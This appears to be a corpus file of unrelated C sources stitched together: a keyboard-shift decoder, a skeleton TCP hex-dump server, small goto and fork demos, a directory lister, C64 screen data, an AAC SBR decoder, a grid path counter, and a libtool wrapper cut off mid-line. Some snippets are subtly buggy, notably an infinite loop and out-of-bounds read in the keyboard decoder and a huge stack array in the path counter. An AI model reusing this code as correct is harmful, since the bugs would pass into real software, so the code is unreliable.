/* * Description: 把手放在键盘上时,稍不注意就会往右错一位,这样的话Q会变主W,J会变K等。输入一个错位后敲出的字符串,输出打字员本来想打出的同句子。 * 样例输入:O S,GOMR YPFSU/ * 样例输出:I AM FINE TODAY. * Created: 2014年12月5日 下午6:34:53 * Author: NieYong<[email protected]> * Blog: http://aofengblog.blog.163.com */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { const char *strList = "`134567890-=qwertyuiop[]\\asdfghjkl;'zxcvbnm,./"; int i=0; int len = strlen(strList); printf("字符参考表:%s,长度:%d \n", strList, len); printf("请输入一行字符串,按回车结束输入:"); char c = getchar(); while (c != EOF && c != '\n') { if (c == ' ') { // 空格原样输出 putchar(c); continue; } for (i = 0; i < len; i++) { if (strList[i] == c) { if (strList[i - 1]) { putchar(strList[i - 1]); } else { putchar(c); // 参考表最左边的字符原样输出 } } } c = getchar(); } putchar('\n'); return EXIT_SUCCESS; }
the_stack_data/884.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define FALSE 0 #define TRUE !FALSE #define PORT 8000 #define WEBROOT "./view" #define BUFFER_LENGTH 1024 struct ethernet_headers { // TODO }; struct ip_headers { // TODO }; struct tcp_headers { // TODO }; void display_fatal_error_message(char *message) { char error_message[255]; strcpy(error_message, " ! fatal error: "); strncat(error_message, message, 239); perror(error_message); exit(EXIT_FAILURE); } void error_checked_malloc_wrapper() { // TODO } void dump_row_memory(const unsigned char *buffer, const unsigned int length) { unsigned char byte; unsigned int external_index, internal_index; for(external_index = 0; external_index < length; external_index++) { byte = buffer[external_index]; printf("%02x ", buffer[external_index]); if(((external_index % 16) == 15) || (external_index == length-1)) { for(internal_index = 0; internal_index < 15 - (external_index % 16); internal_index++) { printf("\t"); } printf(" "); for(internal_index=(external_index - (external_index % 16)); internal_index <= external_index; internal_index++) { byte = buffer[internal_index]; if((byte > 31) && (byte < 127)) { printf("%c", byte); } else { printf("."); } } printf("\n"); } } } void handle_http_request() { // TODO } int send_string() { int outcome = 1; // TODO return outcome; } int receive_from_socket() { int outcome = 0; // TODO return outcome; } int get_filesize() { int size = 0; // TODO return size; } int main(void) { int acceptance_socket_file_descriptor, connected_socket_file_descriptor; int length_received = 1, yes = 1; struct sockaddr_in host_address, client_address; char buffer[BUFFER_LENGTH]; socklen_t socket_length; if ((acceptance_socket_file_descriptor = socket( PF_INET, SOCK_STREAM, 0 )) == -1) { display_fatal_error_message("in the socket"); } if (setsockopt( acceptance_socket_file_descriptor, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int) ) == -1) { display_fatal_error_message("when setting socket option SO_REUSEADDR"); } host_address.sin_family = AF_INET; host_address.sin_port = htons(PORT); host_address.sin_addr.s_addr = INADDR_ANY; memset(&(host_address.sin_zero), '\0', 8); if (bind( acceptance_socket_file_descriptor, (struct sockaddr *)&host_address, sizeof(struct sockaddr) ) == -1) { display_fatal_error_message("when binding to socket"); } if (listen(acceptance_socket_file_descriptor, 10) == -1) { display_fatal_error_message("when listening on socket"); } while(TRUE) { socket_length = sizeof(struct sockaddr_in); connected_socket_file_descriptor = accept( acceptance_socket_file_descriptor, (struct sockaddr *)&client_address, &socket_length ); if(connected_socket_file_descriptor == -1) { display_fatal_error_message("when accepting the connection"); } printf( "the server states: obtained connection from %s port %d\n", inet_ntoa(client_address.sin_addr), ntohs(client_address.sin_port) ); send(connected_socket_file_descriptor, "MWS at work...\n", 14, 0); length_received = recv( connected_socket_file_descriptor, &buffer, BUFFER_LENGTH, 0 ); while(length_received > 0) { printf("RECV: %d bytes\n", length_received); dump_row_memory(buffer, length_received); length_received = recv( connected_socket_file_descriptor, &buffer, BUFFER_LENGTH, 0 ); } close(connected_socket_file_descriptor); } exit(EXIT_SUCCESS); }
the_stack_data/111589.c
#include <stdio.h> #include <stdlib.h> /** * @file */ int main(int argc, char *argv[]) { return EXIT_SUCCESS; }
the_stack_data/19038.c
/** * Exercise 30. */ #include <stdio.h> #include <stdlib.h> /** * Tasting goto... */ int main() { unsigned int i = 0; printf("\n"); w: printf("\ti = %u\n", ++i); if (i < 10) { goto w; } printf("\n"); return EXIT_SUCCESS; }
the_stack_data/28262482.c
/******************************************************************************* * xdir by Geoffrey Sessums * Purpose: * This program uses low level I/O functions to create an xdir command in C. * Command Parameters: * xdir directory switches * Input: * Directory * -l (switch) * -a (switch) * Results: * xdir directory: Prints the directory name followed by a colon, then prints * any files that DO NOT begin with "." * Example: * Data : * file5 * file6 * Program4 * Program5 * Program2 * Program3 * file4 * Option -l: prints the directory name follwed by a colon, then prints any * files that DO NOT begin with "." followed by the file type, number of * 512 byte blocks, and size in bytes. * Example: * Data : * file5 F 8 blks 167 bytes * file6 F 8 blks 121 bytes * Program4 D 8 blks 4096 bytes * Program5 D 8 blks 4096 bytes * Program2 D 8 blks 4096 bytes * Program3 D 8 blks 4096 bytes * file4 F 8 blks 87 bytes * * Option -a: prints the directory name followed by a colon, then prints the * file names within the directory. * Example: * Data : * . D 8 blks 4096 bytes * .. D 8 blks 4096 bytes * file5 F 8 blks 167 bytes * file6 F 8 blks 121 bytes * .mydot F 8 blks 25 bytes * Program4 D 8 blks 4096 bytes * Program5 D 8 blks 4096 bytes * Program2 D 8 blks 4096 bytes * Program3 D 8 blks 4096 bytes * file4 F 8 blks 87 bytes * * Option -l -a: prints the directory name followed by a colon, then prints * the file names within the directory followed by file type, number of 512 * byte blocks, and size in bytes. * Returns: * 0 normal * Notes: * none * ****************************************************************************/ // Included files #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <time.h> #include <errno.h> #include <string.h> #include <dirent.h> // Prototypes void errExit(const char szFmt[], ...); // Main Program int main(int argc, char *argv[]) { DIR *pDir; char szFullFileNm[500]; char cFileType; struct dirent *pDirent; struct stat statBuf; int irc; if (argc < 2) { errExit("too few arguments, directory name needed"); } // Open directory pDir = opendir(argv[1]); // Check if directory can be opened if (pDir == NULL) { errExit("opendir could not open '%s': %s", argv[1], strerror(errno)); } // Process no switches if (argc == 2) { // Print the directory name printf("%s :\n", argv[1]); // Print directory contents that DO NOT begin with "." while ((pDirent = readdir(pDir)) != NULL) { if (pDirent->d_name[0] != '.') { printf(" %s\n", pDirent->d_name); } } closedir(pDir); return 0; } else if (argc == 3) { if (argv[2][0] != '-') { printf("error: missing switch '-'\n"); return 0; } // Option a: Print the directory name and contents if (argv[2][1] == 'a') { // Print the directory name printf("%s :\n", argv[1]); // Print the contents of the directory while ((pDirent = readdir(pDir)) != NULL) { printf(" %s\n", pDirent->d_name); } closedir(pDir); return 0; // Option l: Print the directory, files that DO NOT begin with ".", // file name, type, number of blocks, and size } else if (argv[2][1] == 'l') { // Print the directory name printf("%s :\n", argv[1]); // Print directory contents that DO NOT begin with "." while ((pDirent = readdir(pDir)) != NULL) { if (pDirent->d_name[0] != '.') { snprintf(szFullFileNm, 500, "%s/%s", argv[1], pDirent->d_name); irc = stat(szFullFileNm, &statBuf); if (S_ISDIR(statBuf.st_mode)) { cFileType = 'D'; } else if (S_ISFIFO(statBuf.st_mode)) { cFileType = 'P'; } else if (S_ISREG(statBuf.st_mode)) { cFileType = 'F'; } else if (S_ISLNK(statBuf.st_mode)) { cFileType = 'L'; } else { cFileType = 'L'; } printf(" %s %c %lld blks %lld bytes\n", pDirent->d_name , cFileType , statBuf.st_blocks , statBuf.st_size); } } closedir(pDir); } else { printf("option '%c' does not exist\n", argv[2][1]); } } else if (argc == 4) { if (argv[3][0] != '-' || argv[2][0] != '-') { printf("error: missing switch '-'\n"); return 0; } if ((argv[3][1] == 'a' || argv[3][1] == 'l') && (argv[2][1] == 'a' || argv[2][1] == 'l')) { // Print the directory name printf("%s :\n", argv[1]); // Print directory contents that DO NOT begin with "." while ((pDirent = readdir(pDir)) != NULL) { snprintf(szFullFileNm, 500, "%s/%s", argv[1], pDirent->d_name); irc = stat(szFullFileNm, &statBuf); if (S_ISDIR(statBuf.st_mode)) { cFileType = 'D'; } else if (S_ISFIFO(statBuf.st_mode)) { cFileType = 'P'; } else if (S_ISREG(statBuf.st_mode)) { cFileType = 'F'; } else if (S_ISLNK(statBuf.st_mode)) { cFileType = 'L'; } else { cFileType = 'L'; } printf(" %s %c %lld blks %lld bytes\n", pDirent->d_name , cFileType , statBuf.st_blocks , statBuf.st_size); } closedir(pDir); } else { printf("one of the option you selected does not exist\n"); } } return 0; }
the_stack_data/176704411.c
unsigned char frame0000[]={// border,bg,chars,colors 14,6, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,108,81,81,123,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,81,126,124,81,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,81,123,108,81,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,124,81,81,126,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,126,12,15,1,4,9,14,7,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,3,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,3,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,3,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,3,1,13,7,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,1,1,1,1,1,1,1,1,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14 }; // META: 40 25 C64 upper
the_stack_data/26699931.c
/****************************************************************** * * Copyright 2018 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************/ /* ------------------------------------------------------------------ * Copyright (C) 1998-2009 PacketVideo * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. * See the License for the specific language governing permissions * and limitations under the License. * ------------------------------------------------------------------- */ /* Filename: sbr_applied.c ------------------------------------------------------------------------------ REVISION HISTORY Who: Date: MM/DD/YYYY Description: ------------------------------------------------------------------------------ INPUT AND OUTPUT DEFINITIONS INPUT SBRDECODER self, SBRBITSTREAM * stream, float *timeData, int numChannels OUTPUT errorCode, noError if successful ------------------------------------------------------------------------------ FUNCTION DESCRIPTION sbr decoder processing, set up SBR decoder phase 2 in case of different cotrol data ------------------------------------------------------------------------------ REQUIREMENTS ------------------------------------------------------------------------------ REFERENCES SC 29 Software Copyright Licencing Disclaimer: This software module was originally developed by Coding Technologies and edited by - in the course of development of the ISO/IEC 13818-7 and ISO/IEC 14496-3 standards for reference purposes and its performance may not have been optimized. This software module is an implementation of one or more tools as specified by the ISO/IEC 13818-7 and ISO/IEC 14496-3 standards. ISO/IEC gives users free license to this software module or modifications thereof for use in products claiming conformance to audiovisual and image-coding related ITU Recommendations and/or ISO/IEC International Standards. ISO/IEC gives users the same free license to this software module or modifications thereof for research purposes and further ISO/IEC standardisation. Those intending to use this software module in products are advised that its use may infringe existing patents. ISO/IEC have no liability for use of this software module or modifications thereof. Copyright is not released for products that do not conform to audiovisual and image-coding related ITU Recommendations and/or ISO/IEC International Standards. The original developer retains full right to modify and use the code for its own purpose, assign or donate the code to a third party and to inhibit third parties from using the code for products that do not conform to audiovisual and image-coding related ITU Recommendations and/or ISO/IEC International Standards. This copyright notice must be included in all copies or derivative works. Copyright (c) ISO/IEC 2002. ------------------------------------------------------------------------------ PSEUDO-CODE ------------------------------------------------------------------------------ */ /*---------------------------------------------------------------------------- ; INCLUDES ----------------------------------------------------------------------------*/ #ifdef AAC_PLUS #include "sbr_applied.h" #include "sbr_read_data.h" #include "sbr_decode_envelope.h" #include "decode_noise_floorlevels.h" #include "sbr_requantize_envelope_data.h" #include "sbr_envelope_unmapping.h" #include "sbr_dec.h" #include "e_sbr_element_id.h" #include "aac_mem_funcs.h" #ifdef PARAMETRICSTEREO #include "ps_bstr_decoding.h" #include "ps_allocate_decoder.h" #endif #include "init_sbr_dec.h" /*---------------------------------------------------------------------------- ; MACROS ; Define module specific macros here ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; DEFINES ; Include all pre-processor statements here. Include conditional ; compile variables also. ----------------------------------------------------------------------------*/ #define LEFT (0) #define RIGHT (1) /*---------------------------------------------------------------------------- ; LOCAL FUNCTION DEFINITIONS ; Function Prototype declaration ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; LOCAL STORE/BUFFER/POINTER DEFINITIONS ; Variable declaration - defined here and used outside this module ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; EXTERNAL FUNCTION REFERENCES ; Declare functions defined elsewhere and referenced in this module ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; EXTERNAL GLOBAL STORE/BUFFER/POINTER REFERENCES ; Declare variables used in this module but defined elsewhere ----------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------- ; FUNCTION CODE ----------------------------------------------------------------------------*/ SBR_ERROR sbr_applied(SBRDECODER_DATA * self, SBRBITSTREAM * stream, Int16 *ch_left, Int16 *ch_right, Int16 *timeData, SBR_DEC *sbrDec, tDec_Int_File *pVars, Int32 numChannels) { SBR_ERROR err = SBRDEC_OK ; Int32 eleChannels = 0; SBR_CHANNEL *SbrChannel = self->SbrChannel; /* Get SBR or PS Data only when available */ if (stream->NrElements) { /* read frame data from bitstream */ err = sbr_read_data(self, sbrDec, stream); if (err != SBRDEC_OK) { /* * This error condition disables any further SBR processing */ self->SbrChannel[LEFT].syncState = UPSAMPLING; if (eleChannels == 2) { self->SbrChannel[RIGHT].syncState = UPSAMPLING; } } /* * Setting bistream and decoding type is only done once, */ if (SbrChannel[LEFT].syncState == SBR_ACTIVE && self->setStreamType) { self->setStreamType = 0; /* Disable Lock for AAC stream type setting */ #ifdef HQ_SBR #ifdef PARAMETRICSTEREO Int sbrEnablePS = self->hParametricStereoDec->psDetected; pVars->mc_info.psPresentFlag = sbrEnablePS; if (sbrEnablePS) /* Initialize PS arrays */ { pVars->mc_info.ExtendedAudioObjectType = MP4AUDIO_PS; ps_allocate_decoder(self, 32); /* Disable LC (or Enable HQ) if PS is detected */ sbrDec->LC_aacP_DecoderFlag = OFF; } else { /* * Do not downgrade stream type from eaac+, if it has been explicitly declared */ if (pVars->mc_info.ExtendedAudioObjectType != MP4AUDIO_PS) { pVars->mc_info.ExtendedAudioObjectType = MP4AUDIO_SBR; if (pVars->mc_info.nch > 1) { sbrDec->LC_aacP_DecoderFlag = ON; /* Enable LC for stereo */ } else { sbrDec->LC_aacP_DecoderFlag = OFF; /* Disable LC, Enable HQ for mono */ } } else { sbrEnablePS = 1; /* Force this condition as it was explicititly declared */ pVars->mc_info.psPresentFlag = sbrEnablePS; } } #else pVars->mc_info.ExtendedAudioObjectType = MP4AUDIO_SBR; if (pVars->mc_info.nch > 1) { sbrDec->LC_aacP_DecoderFlag = ON; /* Enable LC for stereo */ } else { sbrDec->LC_aacP_DecoderFlag = OFF; /* Disable LC, Enable HQ for mono */ } #endif #else pVars->mc_info.ExtendedAudioObjectType = MP4AUDIO_SBR; sbrDec->LC_aacP_DecoderFlag = ON; /* Enable LC for all sbr decoding */ #endif } /* (SbrChannel[LEFT].syncState == SBR_ACTIVE && lock) */ else { /* * Default setting for upsampler */ if (pVars->mc_info.ExtendedAudioObjectType == MP4AUDIO_AAC_LC) { /* * Change only in implicit signalling, otherwise keep original declaration */ pVars->mc_info.ExtendedAudioObjectType = MP4AUDIO_SBR; } #ifdef HQ_SBR if (pVars->mc_info.nch > 1) { sbrDec->LC_aacP_DecoderFlag = ON; /* Enable LC for stereo */ } else { sbrDec->LC_aacP_DecoderFlag = OFF; /* Disable LC, Enable HQ for mono */ } #else sbrDec->LC_aacP_DecoderFlag = ON; /* Enable LC for all sbr decoding */ #endif /* mask error and let upsampler run */ err = SBRDEC_OK; } /* decoding */ eleChannels = (stream->sbrElement [LEFT].ElementID == SBR_ID_CPE) ? 2 : 1; if (SbrChannel[LEFT].syncState == SBR_ACTIVE) { sbr_decode_envelope(&(SbrChannel[LEFT].frameData)); decode_noise_floorlevels(&(SbrChannel[LEFT].frameData)); if (! SbrChannel[LEFT].frameData.coupling) { sbr_requantize_envelope_data(&(SbrChannel[LEFT].frameData)); } if (eleChannels == 2) { sbr_decode_envelope(&(SbrChannel[RIGHT].frameData)); decode_noise_floorlevels(&(SbrChannel[RIGHT].frameData)); if (SbrChannel[RIGHT].frameData.coupling) { sbr_envelope_unmapping(&(SbrChannel[ LEFT].frameData), &(SbrChannel[RIGHT].frameData)); } else { sbr_requantize_envelope_data(&(SbrChannel[RIGHT].frameData)); } } } else /* enable upsampling until valid SBR is obtained */ { /* * Incomplete sbr frame, or disabled SBR section * Set the decoder to act as a regular upsampler */ init_sbr_dec((sbrDec->outSampleRate >> 1), pVars->mc_info.upsamplingFactor, sbrDec, &(self->SbrChannel[LEFT].frameData)); if ((eleChannels == 2) && (SbrChannel[RIGHT].syncState != SBR_ACTIVE)) { init_sbr_dec((sbrDec->outSampleRate >> 1), pVars->mc_info.upsamplingFactor, sbrDec, &(self->SbrChannel[RIGHT].frameData)); } } } #ifdef HQ_SBR #ifdef PARAMETRICSTEREO if (pVars->mc_info.ExtendedAudioObjectType == MP4AUDIO_PS) { ps_bstr_decoding(self->hParametricStereoDec); /* allocate pointer for rigth channel qmf filter history */ Int16 *tempInt16Ptr = (Int16 *)SbrChannel[RIGHT].frameData.V; self->hParametricStereoDec->R_ch_qmf_filter_history = (Int32 *)tempInt16Ptr; /* * 1824 (48*38) Int32 needed by each matrix sbrQmfBufferReal, sbrQmfBufferImag * pVars->share.predictedSamples has 2048 available * pVars->fxpCoef[1] has 2048 available */ SbrChannel[LEFT].frameData.sbrQmfBufferReal = pVars->share.predictedSamples; SbrChannel[LEFT].frameData.sbrQmfBufferImag = &pVars->fxpCoef[0][920]; sbr_dec(ch_left, timeData, &(SbrChannel[LEFT].frameData), (SbrChannel[LEFT].syncState == SBR_ACTIVE), sbrDec, &timeData[RIGHT], self->hParametricStereoDec, pVars); } else { #endif #endif SbrChannel[LEFT].frameData.sbrQmfBufferReal = pVars->fxpCoef[LEFT]; #ifdef HQ_SBR SbrChannel[LEFT].frameData.sbrQmfBufferImag = pVars->fxpCoef[RIGHT]; #endif sbr_dec(ch_left, timeData, &(SbrChannel[LEFT].frameData), (SbrChannel[LEFT].syncState == SBR_ACTIVE), sbrDec, #ifdef HQ_SBR #ifdef PARAMETRICSTEREO NULL, NULL, #endif #endif pVars); if (numChannels == 2) { SbrChannel[RIGHT].frameData.sbrQmfBufferReal = pVars->fxpCoef[LEFT]; #ifdef HQ_SBR SbrChannel[RIGHT].frameData.sbrQmfBufferImag = pVars->fxpCoef[RIGHT]; #endif sbr_dec(ch_right, &timeData[RIGHT], &(SbrChannel[RIGHT].frameData), (SbrChannel[RIGHT].syncState == SBR_ACTIVE), sbrDec, #ifdef HQ_SBR #ifdef PARAMETRICSTEREO NULL, NULL, #endif #endif pVars); } #ifdef HQ_SBR #ifdef PARAMETRICSTEREO } #endif #endif return err; } #endif
the_stack_data/352900.c
#include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> int main() { fork(); printf("hello\n"); wait(NULL); }
the_stack_data/73729.c
# include<stdio.h> int main() { char in[1000]; char ch; int i,j; while(1) { char mat[1200][1200]={0}; int x=1000,y=1000; mat[x][y]=1; scanf("%s",in); int count=0; if(strcmp(in,"Q")==0) break; for(i=0;in[i]!='Q';i++) { switch(in[i]) { case 'L': mat[--x][y]++; break; case 'R': mat[++x][y]++; break; case 'U': mat[x][++y]++; break; case 'D': mat[x][--y]++; break; } if(mat[x][y]>1) count++; } printf("%d\n",count); } return 0; }
the_stack_data/156394065.c
/* ./.libs/lt-reader1.c - temporary wrapper executable for .libs/reader1 Generated by ltmain.sh (GNU libtool) 2.2.6b The reader1 program cannot be directly executed until all the libtool libraries that it depends on are installed. This wrapper executable should never be moved out of the build directory. If it is, it will not operate correctly. Currently, it simply execs the wrapper *script* "/bin/sh reader1", but could eventually absorb all of the scripts functionality and exec .libs/reader1 directly. */ #include <stdio.h> #include <stdlib.h> #ifdef _MSC_VER # include <direct.h> # include <process.h> # include <io.h> # define setmode _setmode #else # include <unistd.h> # include <stdint.h> # ifdef __CYGWIN__ # include <io.h> # define HAVE_SETENV # ifdef __STRICT_ANSI__ char *realpath (const char *, char *); int putenv (char *); int setenv (const char *, const char *, int); # endif # endif #endif #include <malloc.h> #include <stdarg.h> #include <assert.h> #include <string.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <sys/stat.h> #if defined(PATH_MAX) # define LT_PATHMAX PATH_MAX #elif defined(MAXPATHLEN) # define LT_PATHMAX MAXPATHLEN #else # define LT_PATHMAX 1024 #endif #ifndef S_IXOTH # define S_IXOTH 0 #endif #ifndef S_IXGRP # define S_IXGRP 0 #endif #ifdef _MSC_VER # define S_IXUSR _S_IEXEC # define stat _stat # ifndef _INTPTR_T_DEFINED # define intptr_t int # endif #endif #ifndef DIR_SEPARATOR # define DIR_SEPARATOR '/' # define PATH_SEPARATOR ':' #endif #if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ defined (__OS2__) # define HAVE_DOS_BASED_FILE_SYSTEM # define FOPEN_WB "wb" # ifndef DIR_SEPARATOR_2 # define DIR_SEPARATOR_2 '\\' # endif # ifndef PATH_SEPARATOR_2 # define PATH_SEPARATOR_2 ';' # endif #endif #ifndef DIR_SEPARATOR_2 # define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) #else /* DIR_SEPARATOR_2 */ # define IS_DIR_SEPARATOR(ch) \ (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) #endif /* DIR_SEPARATOR_2 */ #ifndef PATH_SEPARATOR_2 # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) #else /* PATH_SEPARATOR_2 */ # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) #endif /* PATH_SEPARATOR_2 */ #ifdef __CYGWIN__ # define FOPEN_WB "wb" #endif #ifndef FOPEN_WB # 